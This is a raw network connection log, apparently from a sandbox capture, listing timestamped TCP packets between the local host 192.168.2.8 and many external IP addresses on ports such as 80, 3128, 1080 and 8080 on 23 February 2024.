Feb 23, 2024 14:28:22.518686056 CET	50132	50578	192.168.2.8	192.169.226.96
Feb 23, 2024 14:28:22.519437075 CET	44712	50058	92.204.135.4	192.168.2.8
Feb 23, 2024 14:28:22.519531012 CET	50133	8080	192.168.2.8	93.100.123.135
Feb 23, 2024 14:28:22.520395041 CET	50135	80	192.168.2.8	162.159.242.109
Feb 23, 2024 14:28:22.520395994 CET	50134	1080	192.168.2.8	202.6.224.51
Feb 23, 2024 14:28:22.520982027 CET	50136	84	192.168.2.8	103.167.15.208
Feb 23, 2024 14:28:22.521622896 CET	50137	8080	192.168.2.8	103.140.34.61
Feb 23, 2024 14:28:22.522027016 CET	80	50065	104.16.105.15	192.168.2.8
Feb 23, 2024 14:28:22.522124052 CET	50065	80	192.168.2.8	104.16.105.15
Feb 23, 2024 14:28:22.522133112 CET	8080	49863	176.98.81.85	192.168.2.8
Feb 23, 2024 14:28:22.522206068 CET	49863	8080	192.168.2.8	176.98.81.85
Feb 23, 2024 14:28:22.522264004 CET	49863	8080	192.168.2.8	176.98.81.85
Feb 23, 2024 14:28:22.522280931 CET	80	49952	104.20.205.191	192.168.2.8
Feb 23, 2024 14:28:22.522402048 CET	50065	80	192.168.2.8	104.16.105.15
Feb 23, 2024 14:28:22.522572994 CET	50139	8080	192.168.2.8	176.98.81.85
Feb 23, 2024 14:28:22.522686005 CET	50138	31470	192.168.2.8	209.216.90.208
Feb 23, 2024 14:28:22.522835016 CET	49744	80	192.168.2.8	96.113.158.126
Feb 23, 2024 14:28:22.522881031 CET	49757	29075	192.168.2.8	72.10.164.178
Feb 23, 2024 14:28:22.523046017 CET	8080	49863	176.98.81.85	192.168.2.8
Feb 23, 2024 14:28:22.523386955 CET	50140	9090	192.168.2.8	38.41.53.144
Feb 23, 2024 14:28:22.524245024 CET	50141	48425	192.168.2.8	78.189.191.184
Feb 23, 2024 14:28:22.524904966 CET	50142	80	192.168.2.8	51.210.216.54
Feb 23, 2024 14:28:22.525079012 CET	80	50066	104.20.75.69	192.168.2.8
Feb 23, 2024 14:28:22.525147915 CET	50066	80	192.168.2.8	104.20.75.69
Feb 23, 2024 14:28:22.525228977 CET	50066	80	192.168.2.8	104.20.75.69
Feb 23, 2024 14:28:22.525295019 CET	4145	49910	1.2.221.134	192.168.2.8
Feb 23, 2024 14:28:22.525531054 CET	50143	7878	192.168.2.8	175.106.10.227
Feb 23, 2024 14:28:22.526034117 CET	50144	5002	192.168.2.8	8.210.60.44
Feb 23, 2024 14:28:22.526454926 CET	80	49955	172.67.69.9	192.168.2.8
Feb 23, 2024 14:28:22.526588917 CET	5032	49860	45.11.95.165	192.168.2.8
Feb 23, 2024 14:28:22.526886940 CET	50145	33328	192.168.2.8	92.246.139.106
Feb 23, 2024 14:28:22.527661085 CET	50146	31993	192.168.2.8	43.128.232.224
Feb 23, 2024 14:28:22.527833939 CET	50147	44722	192.168.2.8	108.61.168.184
Feb 23, 2024 14:28:22.528162003 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:22.528455973 CET	50148	2020	192.168.2.8	51.159.0.236
Feb 23, 2024 14:28:22.529625893 CET	50149	5640	192.168.2.8	173.249.33.122
Feb 23, 2024 14:28:22.529654980 CET	50150	55671	192.168.2.8	166.62.38.100
Feb 23, 2024 14:28:22.530689001 CET	50151	4145	192.168.2.8	27.123.3.141
Feb 23, 2024 14:28:22.530875921 CET	50152	20308	192.168.2.8	209.216.90.208
Feb 23, 2024 14:28:22.531732082 CET	50153	8080	192.168.2.8	117.160.250.163
Feb 23, 2024 14:28:22.532193899 CET	50154	3829	192.168.2.8	117.24.80.53
Feb 23, 2024 14:28:22.533111095 CET	50155	3128	192.168.2.8	82.65.98.35
Feb 23, 2024 14:28:22.533531904 CET	50156	4153	192.168.2.8	82.194.133.209
Feb 23, 2024 14:28:22.534375906 CET	50157	80	192.168.2.8	50.202.75.26
Feb 23, 2024 14:28:22.534482002 CET	8080	49723	115.96.208.124	192.168.2.8
Feb 23, 2024 14:28:22.534620047 CET	17317	50010	92.205.105.134	192.168.2.8
Feb 23, 2024 14:28:22.534682035 CET	50010	17317	192.168.2.8	92.205.105.134
Feb 23, 2024 14:28:22.534807920 CET	50010	17317	192.168.2.8	92.205.105.134
Feb 23, 2024 14:28:22.535391092 CET	50158	56076	192.168.2.8	171.244.140.160
Feb 23, 2024 14:28:22.535949945 CET	50159	347	192.168.2.8	103.25.210.102
Feb 23, 2024 14:28:22.536519051 CET	50160	16708	192.168.2.8	173.249.33.122
Feb 23, 2024 14:28:22.537420034 CET	50161	5678	192.168.2.8	119.92.71.123
Feb 23, 2024 14:28:22.537437916 CET	8080	49723	115.96.208.124	192.168.2.8
Feb 23, 2024 14:28:22.537854910 CET	49723	8080	192.168.2.8	115.96.208.124
Feb 23, 2024 14:28:22.537930012 CET	50162	82	192.168.2.8	117.160.250.163
Feb 23, 2024 14:28:22.538706064 CET	50163	53242	192.168.2.8	162.0.220.234
Feb 23, 2024 14:28:22.539340973 CET	50164	80	192.168.2.8	103.241.65.116
Feb 23, 2024 14:28:22.539905071 CET	1080	50012	195.90.216.75	192.168.2.8
Feb 23, 2024 14:28:22.540077925 CET	50012	1080	192.168.2.8	195.90.216.75
Feb 23, 2024 14:28:22.540077925 CET	50012	1080	192.168.2.8	195.90.216.75
Feb 23, 2024 14:28:22.540194988 CET	50165	80	192.168.2.8	212.92.204.54
Feb 23, 2024 14:28:22.540838003 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:22.540872097 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:22.540911913 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:22.540929079 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:22.540981054 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:22.540981054 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:22.541352034 CET	50166	55555	192.168.2.8	144.24.77.90
Feb 23, 2024 14:28:22.541402102 CET	50167	4145	192.168.2.8	177.99.160.98
Feb 23, 2024 14:28:22.542397022 CET	50168	8080	192.168.2.8	103.131.18.194
Feb 23, 2024 14:28:22.543010950 CET	50169	30504	192.168.2.8	92.246.139.112
Feb 23, 2024 14:28:22.544055939 CET	50170	80	192.168.2.8	104.27.83.183
Feb 23, 2024 14:28:22.544984102 CET	50171	37355	192.168.2.8	167.172.109.12
Feb 23, 2024 14:28:22.545881033 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:22.546284914 CET	80	49968	154.113.121.60	192.168.2.8
Feb 23, 2024 14:28:22.546394110 CET	50172	53935	192.168.2.8	5.161.98.204
Feb 23, 2024 14:28:22.547086000 CET	50173	8080	192.168.2.8	103.118.46.176
Feb 23, 2024 14:28:22.547305107 CET	50174	3128	192.168.2.8	178.33.252.189
Feb 23, 2024 14:28:22.547925949 CET	50175	80	192.168.2.8	190.103.177.131
Feb 23, 2024 14:28:22.548468113 CET	50176	10808	192.168.2.8	124.158.182.34
Feb 23, 2024 14:28:22.548892975 CET	3128	50015	37.120.222.132	192.168.2.8
Feb 23, 2024 14:28:22.549299955 CET	50177	3128	192.168.2.8	103.69.87.142
Feb 23, 2024 14:28:22.549932957 CET	50178	4145	192.168.2.8	185.169.181.11
Feb 23, 2024 14:28:22.550440073 CET	50179	5678	192.168.2.8	185.16.12.137
Feb 23, 2024 14:28:22.550903082 CET	2020	49939	8.213.128.6	192.168.2.8
Feb 23, 2024 14:28:22.551029921 CET	49939	2020	192.168.2.8	8.213.128.6
Feb 23, 2024 14:28:22.551145077 CET	49939	2020	192.168.2.8	8.213.128.6
Feb 23, 2024 14:28:22.551145077 CET	50180	5678	192.168.2.8	190.14.155.198
Feb 23, 2024 14:28:22.551749945 CET	50181	56367	192.168.2.8	54.36.108.149
Feb 23, 2024 14:28:22.552382946 CET	50182	41122	192.168.2.8	117.69.190.52
Feb 23, 2024 14:28:22.552738905 CET	50183	80	192.168.2.8	34.135.166.24
Feb 23, 2024 14:28:22.553664923 CET	50184	38080	192.168.2.8	152.32.238.63
Feb 23, 2024 14:28:22.553901911 CET	50185	1080	192.168.2.8	31.172.189.205
Feb 23, 2024 14:28:22.554781914 CET	50186	12641	192.168.2.8	161.97.170.209
Feb 23, 2024 14:28:22.555525064 CET	50187	80	192.168.2.8	50.173.140.147
Feb 23, 2024 14:28:22.556042910 CET	50188	42905	192.168.2.8	91.203.114.71
Feb 23, 2024 14:28:22.557101965 CET	50189	8080	192.168.2.8	185.208.101.217
Feb 23, 2024 14:28:22.557271004 CET	50190	80	192.168.2.8	50.204.190.234
Feb 23, 2024 14:28:22.557933092 CET	50191	8080	192.168.2.8	5.78.44.6
Feb 23, 2024 14:28:22.558455944 CET	50192	17525	192.168.2.8	171.244.140.160
Feb 23, 2024 14:28:22.559071064 CET	50193	33466	192.168.2.8	141.94.174.6
Feb 23, 2024 14:28:22.559420109 CET	80	50062	50.173.140.150	192.168.2.8
Feb 23, 2024 14:28:22.559777975 CET	50194	5306	192.168.2.8	171.240.108.159
Feb 23, 2024 14:28:22.560211897 CET	50195	3128	192.168.2.8	85.214.249.84
Feb 23, 2024 14:28:22.560864925 CET	50196	32425	192.168.2.8	67.43.227.227
Feb 23, 2024 14:28:22.561372995 CET	50197	999	192.168.2.8	190.242.126.170
Feb 23, 2024 14:28:22.562658072 CET	50198	3128	192.168.2.8	34.83.143.6
Feb 23, 2024 14:28:22.562658072 CET	50199	8000	192.168.2.8	24.199.86.181
Feb 23, 2024 14:28:22.563574076 CET	50200	8081	192.168.2.8	154.239.3.185
Feb 23, 2024 14:28:22.564395905 CET	50201	44612	192.168.2.8	54.39.50.68
Feb 23, 2024 14:28:22.564699888 CET	50202	4153	192.168.2.8	189.29.143.202
Feb 23, 2024 14:28:22.565499067 CET	50203	8443	192.168.2.8	219.243.212.118
Feb 23, 2024 14:28:22.565788031 CET	50204	64312	192.168.2.8	104.128.103.32
Feb 23, 2024 14:28:22.566306114 CET	20695	50079	67.43.236.20	192.168.2.8
Feb 23, 2024 14:28:22.567013025 CET	50205	3629	192.168.2.8	213.171.44.86
Feb 23, 2024 14:28:22.567095995 CET	50206	3128	192.168.2.8	139.129.162.65
Feb 23, 2024 14:28:22.567699909 CET	50207	16379	192.168.2.8	51.15.209.188
Feb 23, 2024 14:28:22.568631887 CET	50208	19873	192.168.2.8	51.210.45.148
Feb 23, 2024 14:28:22.568952084 CET	50209	5678	192.168.2.8	169.255.198.8
Feb 23, 2024 14:28:22.569114923 CET	80	50085	172.67.182.150	192.168.2.8
Feb 23, 2024 14:28:22.569188118 CET	50085	80	192.168.2.8	172.67.182.150
Feb 23, 2024 14:28:22.569367886 CET	50085	80	192.168.2.8	172.67.182.150
Feb 23, 2024 14:28:22.569700956 CET	49775	3128	192.168.2.8	34.29.41.58
Feb 23, 2024 14:28:22.570527077 CET	50210	29631	192.168.2.8	145.239.2.102
Feb 23, 2024 14:28:22.573344946 CET	50212	35982	192.168.2.8	138.197.92.110
Feb 23, 2024 14:28:22.573487997 CET	50211	80	192.168.2.8	172.67.219.60
Feb 23, 2024 14:28:22.574271917 CET	7497	49933	68.183.88.14	192.168.2.8
Feb 23, 2024 14:28:22.574794054 CET	50213	80	192.168.2.8	193.253.220.32
Feb 23, 2024 14:28:22.575006008 CET	50214	80	192.168.2.8	35.209.198.222
Feb 23, 2024 14:28:22.575566053 CET	50215	47056	192.168.2.8	162.240.10.35
Feb 23, 2024 14:28:22.576071024 CET	50216	83	192.168.2.8	103.155.54.38
Feb 23, 2024 14:28:22.576754093 CET	50217	44416	192.168.2.8	173.212.209.49
Feb 23, 2024 14:28:22.577382088 CET	50218	1081	192.168.2.8	125.228.77.228
Feb 23, 2024 14:28:22.577841043 CET	50219	3129	192.168.2.8	20.219.177.73
Feb 23, 2024 14:28:22.578816891 CET	50220	82	192.168.2.8	43.251.213.62
Feb 23, 2024 14:28:22.579097986 CET	50221	80	192.168.2.8	50.222.245.44
Feb 23, 2024 14:28:22.579170942 CET	80	50035	172.67.182.77	192.168.2.8
Feb 23, 2024 14:28:22.579205036 CET	80	50035	172.67.182.77	192.168.2.8
Feb 23, 2024 14:28:22.579343081 CET	50035	80	192.168.2.8	172.67.182.77
Feb 23, 2024 14:28:22.579372883 CET	80	50005	50.239.72.18	192.168.2.8
Feb 23, 2024 14:28:22.579556942 CET	80	50035	172.67.182.77	192.168.2.8
Feb 23, 2024 14:28:22.579619884 CET	50035	80	192.168.2.8	172.67.182.77
Feb 23, 2024 14:28:22.579713106 CET	50222	80	192.168.2.8	34.87.103.220
Feb 23, 2024 14:28:22.581082106 CET	80	50038	104.18.254.76	192.168.2.8
Feb 23, 2024 14:28:22.581162930 CET	80	50038	104.18.254.76	192.168.2.8
Feb 23, 2024 14:28:22.581295013 CET	50038	80	192.168.2.8	104.18.254.76
Feb 23, 2024 14:28:22.581419945 CET	80	50038	104.18.254.76	192.168.2.8
Feb 23, 2024 14:28:22.581588030 CET	50038	80	192.168.2.8	104.18.254.76
Feb 23, 2024 14:28:22.583698034 CET	50223	13897	192.168.2.8	67.43.227.227
Feb 23, 2024 14:28:22.583791971 CET	50224	80	192.168.2.8	88.51.214.182
Feb 23, 2024 14:28:22.584711075 CET	50225	61221	192.168.2.8	177.190.192.57
Feb 23, 2024 14:28:22.585005045 CET	48744	49965	182.160.127.53	192.168.2.8
Feb 23, 2024 14:28:22.585129023 CET	50226	80	192.168.2.8	50.223.239.185
Feb 23, 2024 14:28:22.585247993 CET	50227	42580	192.168.2.8	175.139.179.65
Feb 23, 2024 14:28:22.585783005 CET	8888	49763	47.74.152.29	192.168.2.8
Feb 23, 2024 14:28:22.586204052 CET	50228	4085	192.168.2.8	161.97.163.52
Feb 23, 2024 14:28:22.586734056 CET	50229	44246	192.168.2.8	162.214.162.156
Feb 23, 2024 14:28:22.586843014 CET	80	50101	172.67.181.32	192.168.2.8
Feb 23, 2024 14:28:22.587109089 CET	50101	80	192.168.2.8	172.67.181.32
Feb 23, 2024 14:28:22.587198973 CET	50101	80	192.168.2.8	172.67.181.32
Feb 23, 2024 14:28:22.588175058 CET	11201	50051	38.41.0.6	192.168.2.8
Feb 23, 2024 14:28:22.588485956 CET	50230	31554	192.168.2.8	147.45.40.15
Feb 23, 2024 14:28:22.589431047 CET	50231	1981	192.168.2.8	41.65.236.53
Feb 23, 2024 14:28:22.589696884 CET	3128	49868	138.68.60.8	192.168.2.8
Feb 23, 2024 14:28:22.590446949 CET	50232	8081	192.168.2.8	193.239.58.92
Feb 23, 2024 14:28:22.591388941 CET	50233	3128	192.168.2.8	172.233.255.11
Feb 23, 2024 14:28:22.592381954 CET	50234	8181	192.168.2.8	36.91.98.115
Feb 23, 2024 14:28:22.592892885 CET	80	50112	104.16.226.6	192.168.2.8
Feb 23, 2024 14:28:22.592956066 CET	50112	80	192.168.2.8	104.16.226.6
Feb 23, 2024 14:28:22.593105078 CET	50112	80	192.168.2.8	104.16.226.6
Feb 23, 2024 14:28:22.593702078 CET	50235	8080	192.168.2.8	203.192.217.6
Feb 23, 2024 14:28:22.594520092 CET	50236	80	192.168.2.8	134.213.213.124
Feb 23, 2024 14:28:22.595385075 CET	50237	32175	192.168.2.8	67.43.236.19
Feb 23, 2024 14:28:22.595669985 CET	55919	50115	45.79.191.205	192.168.2.8
Feb 23, 2024 14:28:22.596112013 CET	80	50000	45.12.30.231	192.168.2.8
Feb 23, 2024 14:28:22.596291065 CET	50238	11420	192.168.2.8	38.91.106.252
Feb 23, 2024 14:28:22.597214937 CET	50239	5678	192.168.2.8	91.247.92.63
Feb 23, 2024 14:28:22.598372936 CET	50240	9050	192.168.2.8	198.27.82.161
Feb 23, 2024 14:28:22.598793983 CET	80	50078	50.173.140.151	192.168.2.8
Feb 23, 2024 14:28:22.602118015 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:22.602688074 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:22.605755091 CET	28143	50118	67.43.228.253	192.168.2.8
Feb 23, 2024 14:28:22.606801987 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:22.607749939 CET	80	50135	162.159.242.109	192.168.2.8
Feb 23, 2024 14:28:22.607845068 CET	50135	80	192.168.2.8	162.159.242.109
Feb 23, 2024 14:28:22.608083010 CET	50241	80	192.168.2.8	185.238.228.202
Feb 23, 2024 14:28:22.608099937 CET	50135	80	192.168.2.8	162.159.242.109
Feb 23, 2024 14:28:22.609577894 CET	80	50065	104.16.105.15	192.168.2.8
Feb 23, 2024 14:28:22.609642982 CET	80	50065	104.16.105.15	192.168.2.8
Feb 23, 2024 14:28:22.609793901 CET	50065	80	192.168.2.8	104.16.105.15
Feb 23, 2024 14:28:22.610428095 CET	80	50065	104.16.105.15	192.168.2.8
Feb 23, 2024 14:28:22.610505104 CET	50065	80	192.168.2.8	104.16.105.15
Feb 23, 2024 14:28:22.612848997 CET	80	50066	104.20.75.69	192.168.2.8
Feb 23, 2024 14:28:22.612884045 CET	80	50066	104.20.75.69	192.168.2.8
Feb 23, 2024 14:28:22.613270044 CET	80	50066	104.20.75.69	192.168.2.8
Feb 23, 2024 14:28:22.613440037 CET	50066	80	192.168.2.8	104.20.75.69
Feb 23, 2024 14:28:22.616590023 CET	49813	34644	192.168.2.8	50.63.12.33
Feb 23, 2024 14:28:22.616592884 CET	49896	25007	192.168.2.8	154.12.253.232
Feb 23, 2024 14:28:22.616609097 CET	49748	80	192.168.2.8	104.45.128.122
Feb 23, 2024 14:28:22.617455959 CET	8888	49978	51.15.242.202	192.168.2.8
Feb 23, 2024 14:28:22.617536068 CET	8888	49978	51.15.242.202	192.168.2.8
Feb 23, 2024 14:28:22.617543936 CET	8888	49978	51.15.242.202	192.168.2.8
Feb 23, 2024 14:28:22.617597103 CET	49978	8888	192.168.2.8	51.15.242.202
Feb 23, 2024 14:28:22.617647886 CET	29075	49757	72.10.164.178	192.168.2.8
Feb 23, 2024 14:28:22.619065046 CET	2006	50093	173.44.141.179	192.168.2.8
Feb 23, 2024 14:28:22.620177031 CET	3128	49987	18.135.211.182	192.168.2.8
Feb 23, 2024 14:28:22.627084017 CET	80	50098	50.168.163.176	192.168.2.8
Feb 23, 2024 14:28:22.631409883 CET	80	50170	104.27.83.183	192.168.2.8
Feb 23, 2024 14:28:22.631589890 CET	50170	80	192.168.2.8	104.27.83.183
Feb 23, 2024 14:28:22.632209063 CET	49787	1080	192.168.2.8	202.78.160.118
Feb 23, 2024 14:28:22.634998083 CET	3128	49987	18.135.211.182	192.168.2.8
Feb 23, 2024 14:28:22.635216951 CET	50170	80	192.168.2.8	104.27.83.183
Feb 23, 2024 14:28:22.635524988 CET	49978	8888	192.168.2.8	51.15.242.202
Feb 23, 2024 14:28:22.638427973 CET	50242	14719	192.168.2.8	152.228.140.225
Feb 23, 2024 14:28:22.638549089 CET	50066	80	192.168.2.8	104.20.75.69
Feb 23, 2024 14:28:22.639565945 CET	49987	3128	192.168.2.8	18.135.211.182
Feb 23, 2024 14:28:22.641252995 CET	2604	50075	162.214.67.122	192.168.2.8
Feb 23, 2024 14:28:22.641684055 CET	80	50157	50.202.75.26	192.168.2.8
Feb 23, 2024 14:28:22.643045902 CET	80	49744	96.113.158.126	192.168.2.8
Feb 23, 2024 14:28:22.645833969 CET	50243	59727	192.168.2.8	92.204.134.38
Feb 23, 2024 14:28:22.647064924 CET	50244	1080	192.168.2.8	180.210.222.205
Feb 23, 2024 14:28:22.647849083 CET	49722	80	192.168.2.8	103.75.117.79
Feb 23, 2024 14:28:22.647895098 CET	49776	3128	192.168.2.8	193.107.104.57
Feb 23, 2024 14:28:22.648435116 CET	50245	63551	192.168.2.8	62.171.131.101
Feb 23, 2024 14:28:22.649504900 CET	50246	58854	192.168.2.8	173.212.240.168
Feb 23, 2024 14:28:22.650401115 CET	50247	25323	192.168.2.8	75.119.145.169
Feb 23, 2024 14:28:22.651079893 CET	8000	50199	24.199.86.181	192.168.2.8
Feb 23, 2024 14:28:22.651335001 CET	50248	38958	192.168.2.8	162.215.223.71
Feb 23, 2024 14:28:22.652144909 CET	50249	11351	192.168.2.8	72.10.160.90
Feb 23, 2024 14:28:22.652734041 CET	3128	50072	91.189.177.190	192.168.2.8
Feb 23, 2024 14:28:22.652842045 CET	50072	3128	192.168.2.8	91.189.177.190
Feb 23, 2024 14:28:22.653019905 CET	50072	3128	192.168.2.8	91.189.177.190
Feb 23, 2024 14:28:22.653291941 CET	50250	999	192.168.2.8	8.242.176.37
Feb 23, 2024 14:28:22.654174089 CET	49740	3128	192.168.2.8	79.132.192.13
Feb 23, 2024 14:28:22.654885054 CET	50251	54395	192.168.2.8	51.79.87.144
Feb 23, 2024 14:28:22.655982018 CET	32425	50196	67.43.227.227	192.168.2.8
Feb 23, 2024 14:28:22.656008005 CET	80	49880	167.99.131.11	192.168.2.8
Feb 23, 2024 14:28:22.656285048 CET	50252	80	192.168.2.8	149.202.172.113
Feb 23, 2024 14:28:22.657028913 CET	80	50085	172.67.182.150	192.168.2.8
Feb 23, 2024 14:28:22.657097101 CET	80	50085	172.67.182.150	192.168.2.8
Feb 23, 2024 14:28:22.657110929 CET	50253	4153	192.168.2.8	84.237.248.137
Feb 23, 2024 14:28:22.657423019 CET	50085	80	192.168.2.8	172.67.182.150
Feb 23, 2024 14:28:22.657433033 CET	80	50085	172.67.182.150	192.168.2.8
Feb 23, 2024 14:28:22.659338951 CET	50085	80	192.168.2.8	172.67.182.150
Feb 23, 2024 14:28:22.659466028 CET	50254	80	192.168.2.8	104.23.126.8
Feb 23, 2024 14:28:22.660813093 CET	50255	46015	192.168.2.8	167.99.39.82
Feb 23, 2024 14:28:22.661108971 CET	50256	20056	192.168.2.8	103.215.139.32
Feb 23, 2024 14:28:22.661118031 CET	80	50211	172.67.219.60	192.168.2.8
Feb 23, 2024 14:28:22.661191940 CET	50211	80	192.168.2.8	172.67.219.60
Feb 23, 2024 14:28:22.661286116 CET	50211	80	192.168.2.8	172.67.219.60
Feb 23, 2024 14:28:22.662125111 CET	50257	1080	192.168.2.8	103.109.59.193
Feb 23, 2024 14:28:22.663139105 CET	50258	45248	192.168.2.8	166.62.121.127
Feb 23, 2024 14:28:22.666759968 CET	80	50035	172.67.182.77	192.168.2.8
Feb 23, 2024 14:28:22.666820049 CET	4145	49997	107.181.161.81	192.168.2.8
Feb 23, 2024 14:28:22.667057037 CET	4145	49997	107.181.161.81	192.168.2.8
Feb 23, 2024 14:28:22.668960094 CET	80	50038	104.18.254.76	192.168.2.8
Feb 23, 2024 14:28:22.669281006 CET	80	50183	34.135.166.24	192.168.2.8
Feb 23, 2024 14:28:22.669332981 CET	50260	4145	192.168.2.8	107.181.161.81
Feb 23, 2024 14:28:22.669441938 CET	50259	20971	192.168.2.8	208.87.131.151
Feb 23, 2024 14:28:22.669465065 CET	50183	80	192.168.2.8	34.135.166.24
Feb 23, 2024 14:28:22.669467926 CET	8443	50114	71.19.249.97	192.168.2.8
Feb 23, 2024 14:28:22.669595957 CET	50183	80	192.168.2.8	34.135.166.24
Feb 23, 2024 14:28:22.670142889 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:22.671701908 CET	999	50080	181.65.169.35	192.168.2.8
Feb 23, 2024 14:28:22.672313929 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:22.672949076 CET	50261	16521	192.168.2.8	161.97.170.209
Feb 23, 2024 14:28:22.673897028 CET	50262	25639	192.168.2.8	67.43.227.226
Feb 23, 2024 14:28:22.674911022 CET	50263	8080	192.168.2.8	201.20.115.22
Feb 23, 2024 14:28:22.675396919 CET	80	50101	172.67.181.32	192.168.2.8
Feb 23, 2024 14:28:22.675568104 CET	80	50101	172.67.181.32	192.168.2.8
Feb 23, 2024 14:28:22.675602913 CET	80	50101	172.67.181.32	192.168.2.8
Feb 23, 2024 14:28:22.675720930 CET	50101	80	192.168.2.8	172.67.181.32
Feb 23, 2024 14:28:22.675736904 CET	50101	80	192.168.2.8	172.67.181.32
Feb 23, 2024 14:28:22.678591967 CET	13897	50223	67.43.227.227	192.168.2.8
Feb 23, 2024 14:28:22.679094076 CET	49826	26719	192.168.2.8	162.210.192.136
Feb 23, 2024 14:28:22.679095030 CET	49839	8000	192.168.2.8	159.65.217.197
Feb 23, 2024 14:28:22.679116011 CET	49841	3128	192.168.2.8	84.17.35.129
Feb 23, 2024 14:28:22.680032969 CET	80	50112	104.16.226.6	192.168.2.8
Feb 23, 2024 14:28:22.680041075 CET	80	50112	104.16.226.6	192.168.2.8
Feb 23, 2024 14:28:22.680356979 CET	50112	80	192.168.2.8	104.16.226.6
Feb 23, 2024 14:28:22.680867910 CET	80	49792	13.229.47.109	192.168.2.8
Feb 23, 2024 14:28:22.681118965 CET	80	49792	13.229.47.109	192.168.2.8
Feb 23, 2024 14:28:22.681124926 CET	80	49792	13.229.47.109	192.168.2.8
Feb 23, 2024 14:28:22.681143999 CET	4153	49889	93.90.212.2	192.168.2.8
Feb 23, 2024 14:28:22.681190968 CET	49792	80	192.168.2.8	13.229.47.109
Feb 23, 2024 14:28:22.681349039 CET	80	50112	104.16.226.6	192.168.2.8
Feb 23, 2024 14:28:22.681422949 CET	4153	49889	93.90.212.2	192.168.2.8
Feb 23, 2024 14:28:22.681437016 CET	50112	80	192.168.2.8	104.16.226.6
Feb 23, 2024 14:28:22.683521032 CET	80	50187	50.173.140.147	192.168.2.8
Feb 23, 2024 14:28:22.684650898 CET	80	50128	113.30.149.76	192.168.2.8
Feb 23, 2024 14:28:22.685106993 CET	50128	80	192.168.2.8	113.30.149.76
Feb 23, 2024 14:28:22.686882019 CET	3128	49775	34.29.41.58	192.168.2.8
Feb 23, 2024 14:28:22.687947989 CET	3129	50123	5.9.98.142	192.168.2.8
Feb 23, 2024 14:28:22.688080072 CET	50123	3129	192.168.2.8	5.9.98.142
Feb 23, 2024 14:28:22.690208912 CET	32175	50237	67.43.236.19	192.168.2.8
Feb 23, 2024 14:28:22.692537069 CET	80	49894	113.30.149.76	192.168.2.8
Feb 23, 2024 14:28:22.692637920 CET	80	49894	113.30.149.76	192.168.2.8
Feb 23, 2024 14:28:22.694807053 CET	49781	52119	192.168.2.8	192.163.252.85
Feb 23, 2024 14:28:22.695394039 CET	80	50241	185.238.228.202	192.168.2.8
Feb 23, 2024 14:28:22.695841074 CET	80	50135	162.159.242.109	192.168.2.8
Feb 23, 2024 14:28:22.695862055 CET	80	50135	162.159.242.109	192.168.2.8
Feb 23, 2024 14:28:22.696093082 CET	80	50135	162.159.242.109	192.168.2.8
Feb 23, 2024 14:28:22.696329117 CET	50241	80	192.168.2.8	185.238.228.202
Feb 23, 2024 14:28:22.697006941 CET	80	50065	104.16.105.15	192.168.2.8
Feb 23, 2024 14:28:22.697201967 CET	50135	80	192.168.2.8	162.159.242.109
Feb 23, 2024 14:28:22.703310013 CET	9445	50017	146.190.84.209	192.168.2.8
Feb 23, 2024 14:28:22.704061985 CET	50017	9445	192.168.2.8	146.190.84.209
Feb 23, 2024 14:28:22.704893112 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:22.704906940 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:22.704945087 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:22.704952002 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:22.704960108 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:22.704965115 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:22.704996109 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:22.706804991 CET	9050	50240	198.27.82.161	192.168.2.8
Feb 23, 2024 14:28:22.708311081 CET	1080	50012	195.90.216.75	192.168.2.8
Feb 23, 2024 14:28:22.710364103 CET	49853	14681	192.168.2.8	67.43.227.227
Feb 23, 2024 14:28:22.713941097 CET	49857	1731	192.168.2.8	72.10.164.178
Feb 23, 2024 14:28:22.714916945 CET	37355	50171	167.172.109.12	192.168.2.8
Feb 23, 2024 14:28:22.720824003 CET	80	50226	50.223.239.185	192.168.2.8
Feb 23, 2024 14:28:22.722152948 CET	3128	50198	34.83.143.6	192.168.2.8
Feb 23, 2024 14:28:22.722445011 CET	80	50170	104.27.83.183	192.168.2.8
Feb 23, 2024 14:28:22.722464085 CET	80	50170	104.27.83.183	192.168.2.8
Feb 23, 2024 14:28:22.722587109 CET	50198	3128	192.168.2.8	34.83.143.6
Feb 23, 2024 14:28:22.722922087 CET	80	50170	104.27.83.183	192.168.2.8
Feb 23, 2024 14:28:22.723905087 CET	8080	50139	176.98.81.85	192.168.2.8
Feb 23, 2024 14:28:22.723959923 CET	8080	49863	176.98.81.85	192.168.2.8
Feb 23, 2024 14:28:22.723974943 CET	50170	80	192.168.2.8	104.27.83.183
Feb 23, 2024 14:28:22.723988056 CET	8080	49863	176.98.81.85	192.168.2.8
Feb 23, 2024 14:28:22.724004984 CET	50139	8080	192.168.2.8	176.98.81.85
Feb 23, 2024 14:28:22.725426912 CET	50123	3129	192.168.2.8	5.9.98.142
Feb 23, 2024 14:28:22.725682974 CET	50241	80	192.168.2.8	185.238.228.202
Feb 23, 2024 14:28:22.725706100 CET	33466	50193	141.94.174.6	192.168.2.8
Feb 23, 2024 14:28:22.725774050 CET	50193	33466	192.168.2.8	141.94.174.6
Feb 23, 2024 14:28:22.725970984 CET	49822	3128	192.168.2.8	132.145.61.202
Feb 23, 2024 14:28:22.726027012 CET	49865	10121	192.168.2.8	72.10.164.178
